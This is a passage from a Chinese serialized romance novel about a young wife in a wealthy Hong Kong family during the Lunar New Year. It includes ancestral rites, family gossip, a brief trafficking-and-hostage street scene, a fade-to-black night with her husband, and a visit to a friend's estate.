阿秋平时住在萧家老宅,昨夜搭乘地铁回家探望家人,一回来就清扫浴池,准备早点。 姜沉鱼虽然睡得好,但是睡得太晚,起床后依旧困倦极了,伸手掩着唇瓣,打了个呵欠。 阿秋过来送早餐,有些担心姜沉鱼的身体。 “少奶奶,您是吹风受凉了吗?” “我去叫家庭医生。” “我没事,昨晚上看书看得太晚了。” 姜沉鱼美眸含水,赶紧把阿秋叫回来。 要是真把家庭医生请来了,她才没脸见人了。 阿秋不疑有它,回来继续送早餐,姜沉鱼洗漱完,坐在餐桌前,今天的早饭依旧很丰盛。 鲜虾仁蒸蛋羹、馄饨、汤面、素馅饺子还有皮蛋肉粥,姜沉鱼食欲就上来了,手里端着白瓷碟子,用镂空雕花银勺喝肉粥。 早饭只有她一个人,也没有那么多规矩。 姜沉鱼一边吃早饭一边跟阿秋闲聊。 阿秋大半月才回一次家,她把挣到的薪水拿回家给阿妈,又替咳嗽的父亲拿了药,检查了弟弟妹妹的功课,一家人其乐融融。 阿秋很高兴道,“少夫人,我大弟找了份家教的工作,一个月能有六百港币,阿妈卖鱼生意也不错,弟弟妹妹回家都会帮忙做家事。现在日子比以前好多了。” 姜沉鱼也替她开心,“努力总是能得到回报的。” “阿妈讲是我们遇见了贵人。” “您跟二少爷就是我们的贵人,阿妈亲手做了些点心,少夫人您别嫌弃。” 姜沉鱼一看,有些惊讶,“这是豌豆黄?” 豌豆黄是首都的名吃,阿秋阿妈怎么会做的? 阿秋解释,“我阿妈以前在点心店帮忙,认识了一位内地来的点心师傅,那位师傅人很好,阿妈跟她学会了做点心。” 姜沉鱼点头,用筷子夹起一块豌豆黄,柔软香甜,好吃极了。 港城这边卖面包、甜点的店比较多,反而老式的点心铺子不算多。 真是可惜。 一场寒雨过后,就是连绵不断的小雨,外面阴冷潮湿,还有几天便要过年了,姜沉鱼除了在家中看英语书,偶尔也会看看港剧。 经过家教的补习,她的粤语水平已经提高不少。 萧砚终于守得云开见月明,正大光明从隔壁套房搬到了新房这边。 姜沉鱼也贪恋某人美色。 不然也不会松口让他搬进来。 裴特助发现近来总裁心情颇好,往日那种有意无意的压迫感都淡了不少,只在处理事物时还是一贯的雷厉风行,让集团的高管董事们不敢放松警惕。 临近新年,萧砚送了姜沉鱼一份新年礼物,一个小猫形状的钻石胸针,造型看着小巧,一排排钻石镶嵌,实则价值不菲 姜沉鱼白嫩手指把玩着小猫胸针,有些好奇道,“怎么是小猫胸针?” 不能送小兔子、小鹿之类的胸针吗? 萧砚敛去眼底笑意,“看到适合就买了,喜欢吗?” 姜沉鱼自然是喜欢的,她点点头,喜欢是自然是喜欢的。 她在沙发上看了会儿书,很快就小鸡啄米,点头打瞌睡了。 萧砚抬眸看过来,“困了?” 姜沉鱼要回床上睡,被某人揽在怀里,低声哄道,“睡吧。” 姜沉鱼困极了,也不跟他闹腾,自顾自寻了个舒服的微姿姿式,嗅着萧砚身上的冷沉气息,慢慢陷入睡眠。 萧砚继续处理文件,年前集团事务繁忙,有不少股东甚至会直接睡在办公室。 萧砚把工作带回家,一边忙工作一边陪太太,都快成了集团女员工中的模范丈夫了。 腊月二十九,萧老爷子乘车带着承叔跟保镖回了老宅。 每年三十这天,萧家大房一家人都会祭奠祖先,祭奠祖先需要用到各种祭品,有的极品需要家中男丁跟女眷供奉。 往年都是萧老爷子、萧长章、郭玉琴、萧砚去祠堂祭奠,萧茗带着妹妹萧甜在外面等候。 而萧家二、三房的姨太太、子孙是没资格参加的。 今年祭祖多了姜沉鱼。 她是长孙孙媳妇自然是要去祠堂祭奠祖先的。 清晨七点半,姜沉鱼起床,阿秋端了一碗鸡汤面跟虾饺给她:“少夫人,今天家里忙,早饭只有这些,您先吃我再去看看。” 姜沉鱼摆手,“这些就很好了,萧砚呢?” 一大早起来就没见到他身影。 阿秋道,“二少爷、老爷夫人、老太爷他们都去祠堂了,上午要准备好祭祀的事。” 姜沉鱼嗯了声,赶紧吃了两口虾饺,换了祭祀的衣服下了楼。 上午祭祀完,下午萧老爷子也没回三房,他在发妻叶秋月的住处独自坐了许久,出来的时候眼圈有些发红。 傍晚,整个港城被烟花点亮,四面八方的鞭炮声不断,震耳欲聋,姜沉鱼给阿秋发了红包。 “新年好。” “少夫人新年好。” 阿秋握着红包喜滋滋的样子,逗得姜沉鱼乐不可支,萧砚下去又去了集团,打了电话回来说晚上回来陪她吃饺子。 姜沉鱼道了声,“好。” “小鱼,新年快乐。” 电话那头的嗓音清冽好听,姜沉鱼:“你也新年快乐。” 说完就挂了电话,她着急往江城打电话给爷爷奶奶拜年,哦,还有便宜亲爸、妹妹他们。 姜爷爷接到孙女的电话,格外高兴,“是小鱼啊,放心爷爷挺好的。” “你在港城过得好不好?好,爷爷就放心了。你寄来的红参鲍鱼那些都收到了” 姜爷爷唠叨,姜奶奶气得拍他,“老头子话这么多,我跟小鱼说两句。” 姜爷爷乐呵呵交出电话,二老守着电话一起听,保姆琴姐在厨房戴着勤务兵包饺子、做年夜饭。 姜沉鱼好好对爷爷奶奶撒了一通娇,才不紧不慢拨通了军区大院的电话。 文燕蓉忙到脚尖不沾地,根本没听见电话铃声。 从港城回江城这几个月,文燕蓉也没闲着,她经历了假怀孕事件,跟姜建军的感情大不如前。 文燕蓉想着不如真生个儿子傍身,不然,她在姜家压根立不起来,女人不管什么时候,多生子嗣才是王道。 可生儿子要夫妻双方共同努力。 姜建军在部队忙,她想要个儿子也不容易。 这年头,大城市的姑娘们去理发店卷波浪卷儿,就这么卷翘着搭在肩头,娇俏又时髦,江城的小媳妇大姑娘也跟着走时髦,没钱的就在家用夹蜂窝煤的铁架子自己烫,手艺不佳,烫的千奇百怪。 文燕蓉有钱,也去了理发店烫了发卷儿,搽脂抹粉打扮起来,她本来是想借此引起姜建军注意,好再要个儿子傍身。 却被姜建军训斥,一把年纪不安分,气得文燕容理了发,再也不提生儿子的事情。 电话铃声响起,姜建军在书房,姜沉宁守在电话边上,第一时间接起电话。 “姐?” “姜沉宁?” “是我,姐新年好。” 姐妹俩在电话里叙旧聊天,姜建军也跟大女儿聊了会天挂了,挂了电话看着大女儿空荡的卧室,心里有些怅然若失。 女儿嫁了人,离家千里,不知道过得好不好? 姜建军有些想念出嫁的女儿。 老宅大年三十晚宴,姜沉鱼如鱼得水,给萧老爷子倒酒,替公婆夹菜、讲笑话,妙语连珠逗得一家人合不拢嘴。 萧砚回家时还是那套黑色西服,里面白色衬 衫,袖口挽起,露出一截结实强劲的手臂,俊美冷冽。 欣赏过港城的烟花秀,姜沉鱼心满意足钻进被窝,凌晨三点多,鞭炮声再次响起,就像在耳边炸开,她再次醒来,是在萧砚怀里。 “怎么了?天亮了嘛?” 姜沉鱼迷迷糊糊要穿衣起床。 萧砚吻吻她,“没有,外面在放鞭炮。” 姜沉鱼安心睡下,饶是年三十睡得早,第二天她还是挨到了七点半才起床。 新的一年了。 姜沉鱼跟萧砚给萧长章和郭玉琴拜年,得到了两个厚厚的红包,然后一家人去给萧老爷子拜年。 萧老爷子那边拜年的人多,走个过场就回。 萧老爷子过了年,年初六便是七十六岁大寿的日子,萧家老早就往外放出话,今年老爷子生日不准备大办,就一家人过年吃顿团圆饭就行,话外意思很明显,就是别让人来上门了。 大家伙儿也知情识趣,反正过了年有的是机会上门不是。 萧茗、萧甜兄妹俩起得很早,在各自保姆的照顾下来了新楼这边。 姜沉鱼给萧甜梳了两个辫子,发梢处缠了长长的红色发带,配上红绸缎做的小裙子,外头罩一件同色的羊毛小衫,精致又好看,越发显的小姑娘粉雕玉琢,明媚皓齿。 “哎呀,我家甜甜可真漂亮。” 郭玉琴摸摸苏甜甜的小辫子,喜爱之情溢于言表。 萧甜也很喜欢自己的小辫子,扑到姜沉鱼怀里撒娇。 “谢谢婶婶,婶婶过年好。” “过年好。” 姜沉鱼笑道。 萧茗则跟着家中长辈们去祠堂给祖先上香。 中午一家人吃新年大餐,羊肉锅子热腾腾翻滚,厨房新做好的小酥饼,外脆内软色泽金黄,外头裹着满满的芝麻,咬一口香酥香酥的。 萧老爷子年纪大,冬日又冷,早饭一般是荤素搭配好的,一盘羊肉小饺子、一盘炒青菜,一碗炖的嫩嫩的鸡蛋羹,一碗山药小米粥,老爷子细嚼慢咽用完,拿干净的帕子擦擦嘴,还未开口,佣人就手脚麻利把碗碟撤了下去。 一家子吃了午餐,正要去月园散步,三房来人了。 第42章 第42章感谢订阅 以往大年初一到初六萧老爷子都会在老宅过年。 三房关上门来过年,三太邓颖妹梅闲来无事,便会到黄大仙庙去烧香顺便逛逛街。 港城年初一热闹非凡,街上摆满了五彩酥油塑成的花卉、各色雕刻精美的花灯,城里的寺庙也会上酥油花灯,身穿袖袍,连带面具,在喇叭、唢呐的伴奏下,沿路载歌载舞,与同民乐。 黄大仙庙附近的长桥上火树银花,廊下悬挂了各式彩色丝带,人影来往穿梭,港城的妙龄女郎个个人比花娇,恰新年灯节,外头人头攒动,少不得有些心怀鬼胎的鬼仔混在人群中,想做那肮脏之事。 有户住公屋的张家女郎,跟妹妹出来逛街,因为年轻靓丽,就被两个人贩子盯上了。 张家姐妹赶早出门,早饭只吃了几口,妹妹去街上买钵仔糕,姐姐在街上等,趁着姐妹俩去买吃食的功夫,两个面色不起眼的古惑仔摸过来,其中一个附在同伴的耳边叽叽咕咕说了几句,同伴眼珠子转了几转,抬手做了个动作,等到张家姐姐拎着花灯有走到暗处,两个男人鬼鬼祟祟缀了上去,拿出备好的湿帕子,捂住张家姐姐口鼻迷晕了。 二人正要把张家姐姐搀扶上车,张家妹妹买钵仔糕回来,四处遍寻不见自家姐姐,想起去年的新闻,张口便喊。 “街上有人贩子!快点抓人贩子!” “人贩子在哪呢!” “太可恶了,这鞋些鬼仔光天化日居然敢出来害人!” “阿sir来了,快让开!” “各家看顾好自己孩子,千万别与家人走散!” 在一阵骚乱恐慌中,警察署的警员闻讯而来,长桥上躁动惊慌的人群各自找自家的孩子,人群涌动。 不远处的人群中,两个鬼祟的人贩子正要搀扶着昏迷的张姐姐姐趁乱逃走,张家妹妹眼明手快,对着二人大喊,“我家姐姐在桥下!” 人贩子发现了警员发现了他们,挟持着张家姐姐怒吼着冲过来。 “反正是跑不了,不如拉一个人垫背!” 人贩子中黄毛一看情况不对,闪电般往外窜,另一个转而狰狞地掐住了附近仓皇的三太邓颖梅。 说来邓颖梅也是倒霉,大过年的好好出一趟门,为了躲清净,把身边保镖打发到桥头,结果被人贩子住了当人质。 好在警察署的警员行动迅猛,三五下就把两个人贩子围住了,一枪击倒了挟持人质的人贩子。 邓颖梅人没事,就是给那一枪和喷溅在她脸上的腥热血吓得晕过去,好不容易醒过来,想起那可怕的一幕,又尖叫一声晕过去。 家庭医生提议给三太打针镇定剂,偏邓颖梅最不喜欢打针,打死也不同意,嚷嚷着见要见萧老爷子。 三房众人无奈,只得派人来请萧老爷子。 萧老爷子最重礼法,老祖宗的规矩就是天王老子老了也不能不遵守,他训斥来人,“人受伤就在家好好养着,跑到大房来做什么?给老子滚回家去!” 三房佣人立马低着头往回走,回头撞见萧长章,他打扮得很斯文,像个教书的先生。 “大爷。” 三房佣人不很怕萧长章,萧长章态度温和,他身后的郭玉琴面露冷意,“你们三房又闹什么幺蛾子?” 三房佣人知道大夫人不能得罪,小声把事情讲了一遍。 郭玉琴“呵”了声,有意奚落一番,想着他只是个佣人,说了也是白说,摆摆手让他走人了。 三房佣人松口气,擦擦头上的汗赶紧出了门。 也是他运气好,没看见二楼阳台的萧砚,萧砚目光微冷,似乎在想着什么事情。 房间内的姜沉鱼找不到养的波斯猫糯米了,喊他一起来找。 萧砚那双锐如雪刃的眸子,遥遥一落,落在姜沉鱼脸上,瞬间收敛了浑身刀锋般凛冽的气势,回去陪妻子。 套房内温暖如春,姜沉鱼提着裙摆在沙发下找了一圈,没找到糯米,狐疑小家伙是跑到后花园去了。 萧砚笑了笑,“糯米应该在阿茗那。” 阿秋一拍手,“对了,早上阿茗少爷过来抱糯米玩,我给忘记了。” 姜沉鱼:“……” * 三房佣人回了半山区大宅,如实把话回禀给三太听。 三太邓颖梅虽然上了年纪,依旧很时髦,一身绣百柳图元宝襟旗袍的旗袍,旗袍是中开叉,穿着中跟皮鞋,烫着蓬松的卷发。 她特意打扮好,萧老爷子却没回来,气得砸了一个杯盏。 外面客厅内,三房俩兄弟也在争吵。 “……你一到周末就不沾家,不知道外面你好乱搞什么。”萧长堂喝着咖啡,话中有话。 众人都看向萧长昌。 他们也发现,这段时间萧长昌好像特别晚,甚至夜不归宿。 家中商行的生意好像没那么忙。 萧长昌道自己在商行忙。 萧长堂眼神讥诮:“商行生意这么忙,忙到废寝忘食、红袖添香的地步了?” “你敢污蔑我!”萧长昌大怒,脸上青筋微起。 其实不是萧长堂污蔑他,而是萧长昌跟艾米太高调,在外面偷情被三房负责采买的佣人看见了,不光佣人看见了,还被小报狗仔偷拍了。 被偷拍的照片寄到三房这,萧长堂拿钱摆平了。 现在照片就在他手里,萧长昌虚张声势,萧长堂冷笑一声,丢出一摞照片。 照片里,艾米生得美艳,一头栗色长发,丰腴的前胸,将她的身段勾勒得格外窈窕婀娜,她亲密挽着萧长昌的手,两人正在接吻…… 萧长昌脸色阴沉,当场撕了照片。 大太太嘴唇颤抖,一向保养得当的手指掐进肉里,她太过于用力,折断了一根指甲。 三太邓颖梅看到地上的照片,也不晕倒了,气急败坏起身,重重掴了萧长昌一个耳光:“不争气的东西,看看你干的好事!” 玩个女人还没狗仔偷拍,三房的脸都被丢尽了! 萧长昌当场挨了巴掌,面子落不下,丢下句“上梁不正下梁歪”,开着车出门逍遥了。 邓颖梅气得两眼一闭,撅过去了。 这回是真晕了。 大年初一三 房闹到人仰马翻,二房在澳洲凄风苦雨,唯独大房岁月静好。 白日,生叔找了戏班子来,唱萧老太爷最喜欢的戏曲。 老宅后花园有戏台,四周搭建了帷幕,旦角的腰身灵活多变,引得在场众人掌声热烈。 姜沉鱼对戏曲兴趣不大,她随意走走,猛然看见萧老爷子手里拿着张老照片。 老照片中的人是祖母叶秋月,照片中的叶秋月穿月白色中袖斜襟衫,银红色绣折枝海棠的百褶裙,绣清妩的海棠花,满青稠般黑发披散下来,容貌绝美。 叶秋月温柔贞静,一生最喜欢海棠。 而月园中载满了海棠花。 傍晚八点,霓虹灯准时铺满整个港城,维多利亚港灯火通明,繁华到了极致,不解风情的小雨飘然而至。 姜沉鱼在浴室泡完澡,吹干头发浑身带着花香,她穿了一件白底碎花的小睡裙,露出的肌肤白腻如雪,睡裙的布料很柔软,同样款式的睡裙她有好几件。 姜沉鱼雪白脚丫踩在拖鞋里,脚步轻盈回了卧室。 萧砚在桌前翻看文件,抬眸间视线落在姜沉鱼白生生纤细的脚踝上,他眸子深了深,脸色却很平静。 姜沉鱼顺势坐在床沿上,扯了干净毛巾细细擦手,她跟萧砚离的极近,左右也不过两个肩头,萧砚鼻间都是肥皂的花香,男人沉默不语,总算等到姜沉鱼擦完头发,钻进被窝儿,软软道,“萧砚,我困了,吹灯吧。” 萧砚应了声,床头的台灯被吹灭了。 姜沉鱼累了一天,洗了澡浑身舒舒服服早累了,刚开始还把自己裹成小蚕蛹,等困意上头,霸道的性子跟着起来,她睡迷瞪了,抱着毛巾被滚来滚去,被子和布料摩擦发出的窸窣声,在黑夜中格外有存在感。 姜沉鱼扭啊扭,不知道怎么扭到萧砚那边去了,好巧不巧撞到萧砚怀里。 姜沉鱼花轿玉软,睡裙勾勒出窈窕身姿,萧砚轻叹一声,大手揽过去,想给她加床薄被,下雨夜容易着凉。 他大手刚伸过去,糯米在外面一扑,打碎了水晶花瓶,姜沉鱼给惊醒了,一睁开眼就发现了萧砚揽在她腰间的大手。 姜沉鱼卷着被坐起来,娇软双眸瞪过来:“混蛋,你干嘛!” 萧砚:“” 他想开口解释,炸毛的姜沉鱼才不管这些,扑过来就要挠他。 缺不料给怀里的被子绊了下,一下子又扑倒萧砚怀里了。 姜沉鱼:“!!!” 男人略显锋厉挺拔轮廓就在眼前,清爽好闻的炙热气息包裹着她,姜沉鱼想挣脱给萧砚紧紧禁锢着,不给放,不放就不放呗,偏偏这狗男人一双幽深狭窄的黑眸就这么盯着她,看的姜沉鱼脸蛋子都给烧红滚烫,干脆心一横对着男人薄唇亲了上去。 萧砚低笑一声,加深了这个吻。 哼,反正早晚要给萧砚吃掉,不如她先下手好了。 第43章 第43章感谢订阅 窗外细雨如绵,滂沱肆意,一场雨放佛没有尽头,这一晚她就如同一叶扁舟在狂风暴雨中上下颠簸……… 第二天早晨外头灰蒙蒙地,肆虐了一晚的暴风雨变成了滴滴答答的小雨珠,在天地间汇成一道透明的雨帘。 姜沉鱼睡到日上三竿才爬起来,醒来时浑身上下酸的厉害,昨夜浑身也都是粘糊糊的汗,今日倒是清清爽爽,卧室的床单干净整洁到没有褶子,萧砚也早不见了,床边放这个叠得整整齐齐的方块豆腐蚕丝被,床单也不是昨天的花色,应该是某人换过了。 她呆出了好一会儿,想起昨天晚上的事情,不由得捂了捂脸,她昨天先下手不成,结果被萧砚反压…… 姜沉鱼晃了晃脑袋,肚子咕咕叫,她干脆不想了,想下床去吃早饭,下床的瞬间双腿发软差点儿跌倒……… 冬日料峭,往日阳光稀薄,今天阳光却是不错,暖风和畅,吹在脸上都有些春天的明媚暖柔。 姜沉鱼立在二楼阳台上,沐浴在暖暖阳光中,有些想去踏青吃野餐了。 月园中心有片湖泊,湖挖得很深,里面栽种了莲花养着鱼,一到盛夏时节便水草丰茂、荷叶碧绿,格外旖旎。 这几天落叶飘落在湖面,生叔派人清理。 姜沉鱼托着腮晒太阳,这时,外面传来敲门声:“少夫人,早餐准备好了。” 是阿秋的声音。 姜沉鱼确实也饿了,应了声,洗手在餐桌前坐下来。 “少夫人,厨房今早刚做的莲子百合红豆粥,味道不错,王妈特意叫了我来,看您这边吃饭了没。若是没有,让您尝尝。” 阿秋喜气洋洋过来。 港城过年,萧家老宅一半佣人放假回了家,一般要到年初七才会回来。 阿秋没回家过年,却吃到了阿妈亲手包好送来的饺子,少夫人也给她包了个大红包,日子有奔头,她便高兴。 今天起得不算早,过年期间厨房人手少,吃饭时间也还好。 姜沉鱼爱喝粥,纤细手指拿起雕花银勺刚喝了口粥,才想起来没看见萧砚。 今天是年初二,集团不上班,阿秋正在布置早餐。 姜沉鱼咽下嘴里的粥,“萧砚呢?” 阿秋说:“二少爷去外面游泳了。” 姜沉鱼啧了声,这家伙真是自律到可怕,昨晚折腾到半夜,还有力气去游泳。 阿秋要去请二少爷回来。 姜沉鱼放下勺子,“不用了你忙你的,我去叫他。” 说完就脚步轻盈下了楼,踩着雨花石小路去了游泳馆。 老宅的游泳池,碧波荡漾,清澈见底,采用了最先进的恒温设计,大冬天游泳也不会觉得冷。 游泳馆门口有保镖站岗,见到姜沉鱼恭敬道,“少夫人好。” 姜沉鱼点点头,信步走进去,游泳上方是玻璃建筑,高大透明能透进阳光,她远远就看到男人修长矫健的身体在泳池里畅游。 姜沉鱼揉揉发酸的腿,此刻格外羡慕某人的体力,明明她平时也有运动,体力也可以,但是跟萧砚闹起来,倒霉的还是她自己。 游泳池被阳光照得波光粼粼,姜沉鱼只羡慕那一小会儿,萧砚已经踩着水花出了泳池。 落地镜前,男人低头穿着件黑色衬衫,身姿修长,锋利英挺的下颚,坚实宽阔的后背跟性感的腰部线条,姜沉鱼想起昨天晚上的一幕,莫名有些脸热,刚想回头走。 萧砚就转过头,眉骨凌厉分明,一双黑眸透着冷,“谁在哪儿,出来。” 姜沉鱼:“……” 她慢吞吞走出来,那模模样十足像只暗中偷窥被发现的小白兔。 萧砚轻笑了声,饱满的喉结随着性感的嗓音滚动,“一大早偷看我游泳?” 姜沉鱼:!!! 我不是,我没有,你别胡说八道! 她还没开口,蓦然被捞进一个温暖的怀里,“唔……” 姜沉鱼被萧砚突如其来的吻吻到喘不过气,眼尾潋滟泛红,十几分钟后,某人才意犹未尽松开她,温柔地亲了亲她眉心,“我先去忙工作,晚上再来陪你。” 姜沉鱼倏然坐直,“你快去,你快去。” 不要管我,最好忙一天。 萧砚薄唇碰了碰她鼻尖,好笑地问,“吃干抹净就赶我走,萧太太有点不厚道了?” 姜沉鱼:“……” 到底是谁欺负谁? 萧砚勾了勾唇,先去书房处理工作,姜沉鱼回去吃早餐,吃完早餐,把给婆婆订好的几件旗袍送过去。 萧长章出门会友,郭玉琴见儿媳妇送了旗袍来,欢喜不已,当即就换穿起来。 “妈咪,您穿这件旗袍好看,我回头再给您订几件。” 这几件旗袍是姜沉鱼年前预定好的,绣袍上的绣花都是非遗手艺,价格不比一件奢牌高定便宜。 : 姜沉鱼能言善道八面玲珑,逗得郭玉琴很开心。 王妈端着水果过来,同她们讲三房的八卦:“老太爷知道了那边那位闹出来的事情,打算把萧长昌一家赶出去,老太爷在外面还有几处旧宅,说不定会让他们自立门户……” 萧老爷子如今还在大房这边,他还在气头上,三太邓颖梅肯定会为儿子求情。 姜沉鱼冷眼旁观,觉得三太明面上跋扈张扬,可能她得宠几十年,也不是个让人小觑的人物。 当年二太钟莉长袖善舞,妩媚多姿,不也是被三太压下去了? 自古豪门望族里就没有简单人物。 果然,大年初六萧老太爷回了三房,三太邓 颖梅对着他一顿哭诉,提起早年流掉的两个孩子,哭的稀里哗啦。 “老爷,您不能把阿昌一家赶出家门去,阿昌他再有错也是我们的长子,您打他骂他都可以,就是不能不要他,他可是您抱着长大的……” 萧老太爷也起了恻隐之心,当年邓颖梅跟他的时候才十六岁,如花似玉的年纪,在子嗣问题上很是艰难,落红两次,吃了数不清的汤药,一直到二十四岁才生下萧长昌。 萧长昌年幼也算聪颖可爱,如今却成了…… 萧老太爷松了口,没让萧长昌一家三口搬出去。 三太松了口气,消息传到大房,郭玉琴想起早逝的婆婆,很为她不值。 萧长章坐在书房,他坐向背光,郭玉琴有些看不清他的面容。 晚上萧砚回家,姜沉鱼特意观察他表情,似乎还跟平常一样,也就放了心。 年关过后便是春日,港城三月,郊外樱花盛开,落樱缤纷,美不胜收。 港城居民趁着天气转暖,携家带口去郊外踏青。 萧家老宅就种了大片的樱花树,踏青出游却没有外面那么热情。 恰好成家老爷子有座樱花庄园,邀请萧家一家人去游玩。 萧砚欣然同意,他工作忙没时间去,萧茗、萧甜兄妹俩可是兴奋不已。 姜沉鱼也很期待,出游那日便早早起床,今日出门游玩,她穿一套利落衣衫,雪色风衣、挺阔牛仔裤,一双平底鹿皮靴。 港城春日风大,姜沉鱼戴一顶英伦淑女帽,衬托出她一张洁白无瑕小脸,樱唇饱满,眼波流转,整个人似白玉无瑕,却美得动人心魄。 “萧砚好看吗?” 萧砚在窗前整理袖口,他还穿着平日的白衬衫,袖口微微卷起,顶光的白色吊灯落下来,冷峻黑眸幽深地看过来。 “好看,今天玩得开心些。” “好。” 姜沉鱼领着萧甜兴冲冲出门,完全把某人忘光光了。 “……” 加长宾利车在盘旋公路上走了半个小时,停在一栋恢宏大气的庄园门口。 成老爷子跟五姨太在后花园散步,出门迎接的是成朱莉跟她二哥二嫂。 成家大哥成文滨忙着跟萧氏集团的合作,已经很久没有休假了。 成家二哥成文潇跟妻子苏韵结婚两年,夫妻俩感情甚笃,平时出门都是同进同出。 成文潇和其大哥成文滨长相有几分相似,尤其是那双眼,兄弟俩都是狭长的丹凤眼。 成文潇仪表堂堂,苏韵则是一张鹅蛋脸,长相俏丽,夫妻俩都热情大方,“萧少夫人路上辛苦了,你们能来,祖父不知多高兴,他老人家已经等了好些时候,快请进。” 姜沉鱼莞尔一笑,牵着萧甜跟萧茗,落落大方进了庄园。 五姨太对姜沉鱼的态度,堪称和善温柔。 成朱莉在边上露出不屑表情。 这会儿,往日骂这骂那的成老爷子牵着萧甜,被几个孩子簇拥在中间,乐的牙不见眼。 萧甜穿着姜沉鱼给订做的小旗袍,旗袍领上还带了一层白色的软兔毛,更加衬的小姑娘白净灵动又好看,加上这丫头从小嘴巴就甜,跟萧茗一起,左一个帅帅成爷爷右一个大英雄爷爷,喊的成家老爷子喜上眉梢。 这让五姨太脸色有些难看。 苏韵就在边上暗笑,自家这位老爷子一向脾气就又臭又硬,对五姨太几个孙子也没有这么笑过,这会儿见到萧家的两个孩子整个人就不一样了。 不过这也能想通,毕竟萧家的两个是真招人喜欢。 尤其是萧家的小小姐萧甜,那一看就是天生的美人胚子,小姑娘一笑嘴角的小梨涡能甜死人。 第44章 第44章感谢订阅 成老爷子喜欢萧茗兄妹俩,这让五姨太很难开心。 五姨太有两个孙子两个孙女,虽然年纪小,可也是成家的亲孙子孙女。 成文滨三兄弟都没孩子,五姨太的孙子孙女应该格外讨成老爷子欢心。 可惜,五姨太虽然受宠,生的儿子高大威武,俊朗不凡,这几个儿子外表皮囊好看,脑子却是不甚聪明。 当年为了争夺家产,五姨太的大儿子开车要当街撞飞成文滨跟成文潇兄弟俩,那时候成家老三跟成朱莉在国外留学,这才逃过一劫。 成老爷子得知此事大怒,把大儿子打个半死,要不是有五姨太拦着,大儿子怕是要命丧当场。 饶是如此,大儿子一家也失去了成家财产的继承权,如今在英国过贫民日子。 这件事当年闹的很大,在港城豪门间不算什么密辛。 姜沉鱼听王妈讲了不少港城各大豪门内的恩恩怨怨,蝇营狗苟,这些事情写下来都可以出一本书了。 港城居民最喜欢看这些豪门八卦了。 怪不得能养活那么多八卦小报。 成家庄园不仅有桃花林,还有片闻名遐迩的樱花林。 成老爷子吩咐厨房准备午膳,说什么也要留姜沉鱼跟萧茗、萧甜在家中吃午餐。 老爷子盛情难却,姜沉鱼只得同意。 她本来答应萧砚回去陪他的,看来这次要失约了。 阿秋去打电话告知裴特助。 姜沉鱼和成朱莉坐在庭院的樱花树下野餐,三月的阳光从树梢照进来,让人心情格外舒畅。 姜沉鱼来成家自然不是空着手来的,成老爷子嗜爱燕窝,她投其所好,送了十斤上好的雪燕。 成家自然不会缺少燕窝,成老爷子看重的是后辈的心意。 尤其这雪燕是萧家少夫人送的,现在萧成两家合作。 姜沉鱼如此有心,成老爷子很满意,他对五姨太道。 “萧家少夫人是成家的贵客,万不可薄待。” 五姨太听了,面上笑语得当,心里则酸到冒泡。 萧家少夫人跟朱莉交好,萧砚在生意场上自然会偏帮成文滨兄弟,到时候她的儿子们在集团就会处于更加不利的地位。 姜沉鱼许久没出门散风,此刻坐在樱花树下吹着风,心情前所未有的惬意。 成家的厨娘送了三明治、蛋糕水果来,“老太爷说了,这些全当是给萧少夫人跟小姐当饭前甜点,稍后可以吃正餐。” 成朱莉点头,“好,你先下去吧。” 成家厨娘刚走人,刚才还仪态端庄的成朱莉就不像样子了。 “吃什么三明治、蛋糕,甜嗖嗖的最腻人。” 成朱莉不爱吃甜食,吐槽完扭头看姜沉鱼。 姜沉鱼叉了一块樱桃奶油蛋糕送入口,好吃到美眸弯起,忍不住又吃了一块。 成朱莉凑过来,“真这么好吃?” 姜沉鱼塞给她一块,“你尝尝。” 成朱莉勉为其难尝了一口,味道还不错,不过,她也不是很爱吃就是了。 成朱莉不吃,姜沉鱼带着三岁的萧甜吃光了小半块樱桃蛋糕。 萧甜吃完就要去放风筝,跟在萧甜身边的保姆征求姜沉鱼的意见。 姜沉鱼点点头,保姆就回去拿自带的风筝。 这一幕落在五姨太眼中,让她觉得萧家这个少夫人心思深沉,让人不容小觑。 这个姜沉鱼才嫁过来不足半年,就在萧家站稳了脚跟。 怎么看都不是个绣花枕头那么简单。 没几分钟,保姆拿了两个彩蝶形状的风筝过来,风筝流苏用的是银丝线,放起来在阳光下熠熠生辉。 萧甜迈着小短腿在草地上蹦跶,萧茗则对成老爷子珍藏的一柜子古书感兴趣。 成老爷子听到这话,不免眼眸一亮,他夸萧茗 ,“小小年纪就如此上进,真是难得。” 成老爷子大老粗出身,他收藏古书只是为了装点门面,萧茗却是真心喜爱。 成老爷子破例让萧茗进了自己的书房,这让五姨太脸色更加难看。 她的亲孙子还没进过老爷子的书房呢。 成老爷子的书房不算大,里面铺了厚厚的羊绒地毯,一整套的意式家具,东面墙上是一排雕花什锦书架,琳琅满目摆满了各色书籍。 这里面的藏书比萧老爷子的只多不少。 萧老爷子的藏书已经让萧茗看遍了,才十四岁的少年,青竹松柏似的修长,上午阳光洒在他身上,拎着包过来的样子,美好得像一幅浑然天成的油画。 成老爷子看到这一幕,不由得想起当年初见萧台的场景。 萧台是萧家的长孙,生的芝兰玉树,风度翩翩,要是当初没有那场车祸 成老爷子叹口气,对萧茗更加和蔼慈爱,“小茗喜欢什么书就跟成爷爷讲,成爷爷书房的书你随便看。” 萧茗礼貌道谢,成家佣人端了杯红茶糕点来,馥香的茶里,添加了牛乳,更是鲜美。 萧茗沉浸在书海中,姜沉鱼在外面陪着萧甜,阿秋的电话打到集团,宽阔奢华的总裁办公室,里面装潢轻一色冷色调,同色系高定真皮沙发,萧砚刚开完会,着一袭黑衬衫在宽大的落地窗前批文件,头顶的落灯照出他的眉目冷矜。 外部电话打到办公室,裴特助的声音很快响起:“总裁。” “什么事?” “刚才少夫人那边打电话过来,成老爷子盛情款待,少夫人中午没办法过来陪您了。” “夫人让您乖乖用餐,不要太想她。” 后面这句话太过于亲密,萧砚挑挑眉,似是很轻的笑了下,放下手中的收购文件,“好,知道了。” 裴特助刚要挂电话,那边又传来萧砚的声音。 “准备好车跟礼物去成家。” “陪太太吃饭。” 裴特助:“” 还是总裁有办法。 中午阳光明媚,成家餐厅内,仆人有条不紊上餐,成家上的菜都是孩子们爱吃的,菠萝咕咾肉、豆角仔炒鸡、香辣虾、螃麒豆腐、鲜笋火腿、珍珠丸子、粉蒸排骨跟八道素菜,各色粥点。 